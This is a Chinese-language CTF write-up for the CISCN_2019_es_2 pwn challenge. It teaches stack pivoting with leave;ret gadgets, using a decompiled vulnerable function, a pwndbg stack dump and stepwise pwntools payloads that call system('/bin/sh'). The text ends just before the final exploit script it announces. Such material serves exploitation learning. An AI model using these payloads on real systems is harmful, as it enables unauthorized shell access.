Eureka's Studio.

(栈转移)CISCN_2019_es_2

2023/11/01

十分不错的题目 学习到了栈转移的知识点

[栈转移]CISCN_2019_es_2

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\\\\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\\\\n", &s);
}

乍一看是很常规的栈溢出 然而发现这个栈太短了 也只多了0x08(0x30-0x28)个字节 只能覆盖个ebp和ret地址 那么对于没有现成的shell的话 需要使用栈转移的知识点

1
2
如果基础薄弱 可以看一下这篇博客
<https://blog.csdn.net/weixin_39529207/article/details/123005057>

如果基础强的话 往下看即可 在栈销毁时 会执行如下操作 执行如下操作的指令叫leave ; ret

1
2
3
4
0x080484b8 : leave ; ret
mov esp,ebp
pop ebp (此时esp+4 指向返回地址)
pop eip (将返回地址pop至eip)

要知道 对于一个ebp寄存器 他所存储的地址是当前栈内的ebp 而该地址中存储的值则是上一个栈帧的ebp

1
2
3
4
5
6
7
8
9
10
11
      +------------------+
| ret_addr |
+------------------+
| old_ebp |
ebp-->+------------------+
| |
| |
| |
| |
| |
esp-->+------------------+

此时 如果我们将old_ebp覆盖为我们控制的地址 假设为0x08048400 再将ret_addr改为leave ; ret指令 在函数调用结束之后

1
2
3
mov esp,ebp
pop ebp
pop eip

此时ebp寄存器内的值为old_ebp esp值不要紧 此时eip指向ret_addr 也是我们所控制的leave ; ret指令 那么会再执行一次上述操作

1
2
3
mov esp,ebp
pop ebp
pop eip

那么此时 mov指令会将esp指向我们所控制的地址0x08048400 pop之后eip就会指向+4地址了 也就是说如果我们能够控制0x08048400 + 4地址 那么我们就能getshell 这就是栈转移 但是上述操作和栈转移这三个字关系好像不大呢

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\\\\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\\\\n", &s);
}

以刚刚这题为例 我们已知了有system函数 但是没有/bin/sh字符串 我们可以自己写一个 到时候参数写字符所在地址即可 当然 目前来看binsh的addr我们还不知道 由我们刚刚所得 我们控制的是old_ebp + 4 也就是说我们必须要留出4个字节用来pop掉

1
'aaaa' + p32(system_addr) + 'bbbb' + p32(binsh_addr) + '/bin/sh\\\\x00'

还需要解决几个问题 第一个是字符串s的位置 因为我们需要控制old_ebp到我们所构造的’aaaa’处 不过好在 由于栈结构在编程时就已确定 那么字符串s与ebp的相对位置不会改变

1
2
3
4
5
6
7
8
9
10
11
│pwndbg> stack 25
│00:0000│ esp 0xff8ef06c —▸ 0x80485e5 (vul+80) ◂— add esp, 0x10
│01:0004│ 0xff8ef070 ◂— 0x0
│02:0008│ 0xff8ef074 —▸ 0xff8ef080 ◂— 0x41414141 ('AAAA')
│03:000c│ 0xff8ef078 ◂— 0x30 /* '0' */
│04:0010│ 0xff8ef07c ◂— 0x25 /* '%' */
│05:0014│ eax 0xff8ef080 ◂— 0x41414141 ('AAAA')
│... ↓ 8 skipped
│0e:0038│ 0xff8ef0a4 ◂— 0x42414141 ('AAAB')
│0f:003c│ ebp 0xff8ef0a8 —▸ 0xff8ef0b8 ◂— 0x0
│10:0040│ 0xff8ef0ac —▸ 0x804862a (main+43) ◂— mov eax, 0

注意 是ebp指针内的数值 而不是ebp指针地址 leave的指令可以用ropgadget找 还要注意padding 在ebp和ret之前得写满0x28个字节 所以payload可以修改一下

1
2
3
4
payload = 'aaaa' + p32(system_addr) + 'bbbb' + p32(binsh_addr) + '/bin/sh\\\\x00'
payload = payload.ljust(0x28,b'p')
payload += p32(old_ebp - 0x38)
payload += p32(leave_ret_addr)

到这总算明白栈转移啥意思了 将原来溢出的栈通过减少padding转移至正常的栈空间内 还有个问题就是/bin/sh\x00所在的地址 这个也好办 我们知道了’aaaa’的起始地址 那么一算就行了 每个都是4个字节 4 * 4 = 16 (0x10) 那么-0x38 + 0x10 = 0x28

1
2
3
4
payload = 'aaaa' + p32(system_addr) + 'bbbb' + p32(old_ebp - 0x28) + '/bin/sh\\\\x00'
payload = payload.ljust(0x28,b'p')
payload += p32(old_ebp - 0x38)
payload += p32(leave_ret_addr)

最后我们只需要知道old_ebp的值了 我们可以利用printf的特性 我们之前sendline会在payload末尾打上\n符 如果用send的话不会 那么printf会输出所有的栈空间 于是exp如下

CATALOG
  1. 1. [栈转移]CISCN_2019_es_2